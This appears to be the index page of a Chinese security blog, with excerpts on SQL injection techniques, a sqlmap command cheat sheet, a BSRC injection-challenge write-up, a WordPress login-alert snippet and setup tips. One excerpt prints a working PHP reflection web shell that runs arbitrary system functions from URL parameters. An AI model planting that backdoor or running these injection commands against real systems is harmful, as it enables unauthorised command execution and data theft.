打造自己的自动化漏洞检测扫描神器

  很早就想做一个自己的扫描器,其实也算不上扫描器,只是把自己重复的劳动放进脚本里。这样的话就能有更多时间来挖掘一些更有意思的漏洞了。轮子造出来一段时间了,个人用着还算顺手,有待打磨。需要不断的添加规则库这里拿出来给同学们一个思路吧。

扫描器流程图

流程图

Read More



MySQL 正则注入

使用regexp来进行注入

匹配到则返回1,否则返回0

这条语句返回1

Read More



百度BSRC SQL注入挑战赛部分writeup

0x01 介绍

百度BSRC在4月底举办了一个SQL注入挑战赛,以靶机的形式供安全测试人员攻击。
活动发布在百度安全应急响应中心微信公众号,判定标准分为两档:
读取mysql系统信息(user,version)或数据库名
通过SQL注入读取表内secret数据
比赛时间是4月28到5月1日24点,等我看到这个比赛的时候已经5月1日晚上9点多了,5月1日24点以后靶机就停止运行了,水平有限,只达到第一档的标准,而且也不是最早提交case的。另外,由于靶机已经关闭,下文关于靶机的描述可能存在偏差。

Read More



sqlmap常用技巧整理

通过在乌云网上出现的很多SQL注入漏洞,因此来总结一下,大致使用SQLMAP所遇到的参数。
基本结构
基本SQLMAP的使用方式就如下所示,使用参数式的方式,按需求添加。

1
2
sqlmap.py -u "http:// *" --data="a=b" -p a --level 3 --random-agent --referer="a"
--technique T --dbms=mysql --cookie="cookie" --tables

Read More



Mysql in Limit Sql Injection

先了解一个存储过程analyse:通过分析select查询的结果来对每一列给出优化建议。

主要就是通过它来执行我们的报错语句和延时语句。

这个是正常情况查询:

1
2
3
4
5
6
7
8
9
mysql> select * from user;
+----+---------------+----------+
| id | email | password |
+----+---------------+----------+
| 1 | 1@qq.com | 123456 |
| 2 | 2@qq.com | 123456 |
| 3 | 3@qq.com | 123456 |
+----+---------------+----------+
3 rows in set (0.01 sec)

Read More



SQL报错注入的函数及语句

逛freebuf看见的。正好省的自己整理了。
注入的时候用的还很普遍,所以记录一下,也分享一下把。

前几个语句测试了一下,传了个图~

1、通过floor报错,注入语句如下:

Read More



WordPress后台登陆邮件提醒

今天看了一下博客的日志,发现总有刁民想害朕。博客总被一些有心之人爆破后台。所有加个后台的提醒还是有必要的。
将以下代码放入博客的functions.php中即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*****************************************************
函数名称:wp_login_notify v1.0 by DH.huahua.
函数作用:有登录wp后台就会email通知博主
******************************************************/
function wp_login_notify()
{
date_default_timezone_set('PRC');
$admin_email = get_bloginfo ('admin_email');
$to = $admin_email;
$subject = '博客空间登录成功提醒</a>';
$message = '<p>你好!你的博客空间(' . get_option("blogname") . ')有登录!</p>' .
'<p>请确定是您自己的登录,以防别人攻击!登录信息如下:</p>' .
'<p>登录名:' . $_POST['log'] . '</p>' .
'<p>登录时间:' . date("Y-m-d H:i:s") . '</p>' .
'<p>登录IP:' . $_SERVER['REMOTE_ADDR'] . '</p>';
$wp_email = 'no-reply@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME']));
$from = "From: " . get_option('blogname') . " <$wp_email>";
$headers = "$from\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n";
wp_mail( $to, $subject, $message, $headers );
}

add_action('wp_login', 'wp_login_notify');

Read More



光棍节程序员闯关秀第1关总共10关通关攻略

游戏地址:https://1111.segmentfault.com/

没玩过的可以玩一下。

第一关:

查看源代码即可看到有一个超链接,或者在当前页面直接ctrl+a全选即可看到链接。点击即可进入第二关。

Read More



PHP反射性后门

使用方法:

back.php?m=system&c=ipconfig

1
2
3
4
<?php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
?>

Read More



在Mac上安卓开发 ADT bundle的几个坑

0x1.首先第一个坑就是需要先下载adt,自备梯子你懂得。而且谷歌官网现在没有adt下载了,只有android studio了。

0x2.下载以后提示需要旧版本的java环境,但是java官网没有提供java 1.6 for mac。只有去苹果官网下载了。

地址:https://support.apple.com/kb/DL1573?locale=zh_CN

Read More